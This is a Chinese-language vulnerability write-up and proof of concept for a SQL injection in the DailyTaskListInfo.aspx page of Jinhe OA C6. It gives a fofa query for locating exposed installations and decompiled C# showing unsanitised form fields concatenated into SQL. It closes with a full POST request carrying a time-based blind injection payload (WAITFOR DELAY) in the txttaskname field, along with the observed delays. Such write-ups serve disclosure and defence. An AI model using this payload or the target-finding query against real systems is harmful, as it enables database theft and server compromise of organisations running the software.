漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 DailyTaskListInfo.aspx 接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

先看下

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="DailyTaskListInfo.aspx.cs" Inherits="JHSoft.Web.DailyTaskManage.DailyTaskListInfo" %>

在 bin 目录下查找 JHSoft.Web.DailyTaskManage.dll 将其进行反编译后找到 DailyTaskListInfo 的处理逻辑

跟进 GetWhere 方法

private string GetWhere()
{
  StringBuilder stringBuilder = new StringBuilder();
  if (string.op_Inequality(((HtmlInputControl) this.txttaskname).Value.Trim(), ""))
    stringBuilder.Append($"TaskName like '%{((HtmlInputControl) this.txttaskname).Value.Trim()}%'");
  if (string.op_Inequality(((HtmlInputControl) this.hidTaskdept).Value.Trim(), "") && string.op_Inequality(((HtmlInputControl) this.hidTaskdept).Value.Trim(), this.InfoDept))
  {
    if (string.op_Inequality(stringBuilder.ToString(), ""))
      stringBuilder.Append(" and ");
    if (string.op_Equality(this.TaskSort, "execute"))
      stringBuilder.Append($" ',' + dbo.Fn_GetUserDeptIDs(t.TaskSendPersonID) + ',' like '%,{((HtmlInputControl) this.hidTaskdept).Value},%' ");
    else
      stringBuilder.Append($" (',' + dbo.Fn_GetUserDeptIDs(t.taskexecutorid) + ',' like '%,{((HtmlInputControl) this.hidTaskdept).Value.Trim().Replace(",", "','").ToString()},%' or ',' + dbo.Fn_GetUserDeptIDs(t.taskothersID) + ',' like '%,{((HtmlInputControl) this.hidTaskdept).Value.Trim().Replace(",", "','").ToString()},%')");
  }
  if (string.op_Inequality(((HtmlInputControl) this.Txttaskexecutor).Value.Trim(), ""))
  {
    if (string.op_Inequality(stringBuilder.ToString(), ""))
      stringBuilder.Append(" and ");
    if (string.op_Equality(this.TaskSort, "execute"))
      stringBuilder.Append($" u1.UserName like '%{((HtmlInputControl) this.Txttaskexecutor).Value.Trim()}%'");
    else
      stringBuilder.Append($" (dbo.Fn_GetUserName(t.TaskExecutorID) like '%{((HtmlInputControl) this.Txttaskexecutor).Value.Trim()}%' or dbo.Fn_GetUserName(t.TaskOthersID) like '%{((HtmlInputControl) this.Txttaskexecutor).Value}%') ");
  }
  if (string.op_Inequality(((ListControl) this.DrptaskState).SelectedValue, ""))
  {
    if (string.op_Inequality(stringBuilder.ToString(), ""))
      stringBuilder.Append(" and ");
    stringBuilder.Append($"TaskFinishFlag = '{((ListControl) this.DrptaskState).SelectedValue}'");
  }
  if (string.op_Inequality(this.txtBeginTime.Text.Trim(), ""))
  {
    if (string.op_Inequality(stringBuilder.ToString(), ""))
      stringBuilder.Append(" and ");
    stringBuilder.Append($"TaskEndTime>= '{this.txtBeginTime.Text.Trim()}'");
  }
  if (string.op_Inequality(this.txtEndTime.Text.Trim(), ""))
  {
    if (string.op_Inequality(stringBuilder.ToString(), ""))
      stringBuilder.Append(" and ");
    stringBuilder.Append($"TaskStartTime<= '{this.txtEndTime.Text.Trim()} 23:59:59'");
  }
  if (string.op_Inequality(((HtmlInputControl) this.Txttaskconnect).Value.Trim(), ""))
  {
    if (string.op_Inequality(stringBuilder.ToString(), ""))
      stringBuilder.Append(" and ");
    stringBuilder.Append($"TaskContent like '%{((HtmlInputControl) this.Txttaskconnect).Value.Trim()}%'");
  }
  if (!this.seltktype.Value.Equals("请选择"))
  {
    if (string.op_Inequality(stringBuilder.ToString(), ""))
      stringBuilder.Append(" and ");
    stringBuilder.AppendFormat("Tasktype='{0}'", (object) this.seltktype.Value);
  }
  return stringBuilder.ToString();
}

多个参数如 txttaskname、hidTaskdept 等被直接拼接进SQL语句中后执行，无任何过滤或校验，导致SQL注入漏洞。

漏洞复现

漏洞复现需要访问 DailyTaskListInfo.aspx 页面获取需要的其他参数及其值

POST /c6/Jhsoft.Web.dailytaskmanage/DailyTaskListInfo.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&_ListPage1LockNumber=1&_ListPage1RecordCount=0&__VIEWSTATE=xxxx&txtSelectTaskIDList=&DrpTaskType=all&DrptaskState=0&txttaskname='WAitfor+DelaY'0:0:5'--&Txttaskconnect=&txtBeginTime=&txtEndTime=&Txttaskdept=%B5%A5%BB%F7%D1%A1%D4%F1%B2%BF%C3%C5&hidTaskdept=&Txttaskexecutor=&seltktype=%C7%EB%D1%A1%D4%F1&btnSearch=%B2%E9%D1%AF&Txttaskdeptid=&hidFlag=0&__VIEWSTATEGENERATOR=xxxx

延时 10 秒（执行两次）

以及延时 4 秒（执行两次）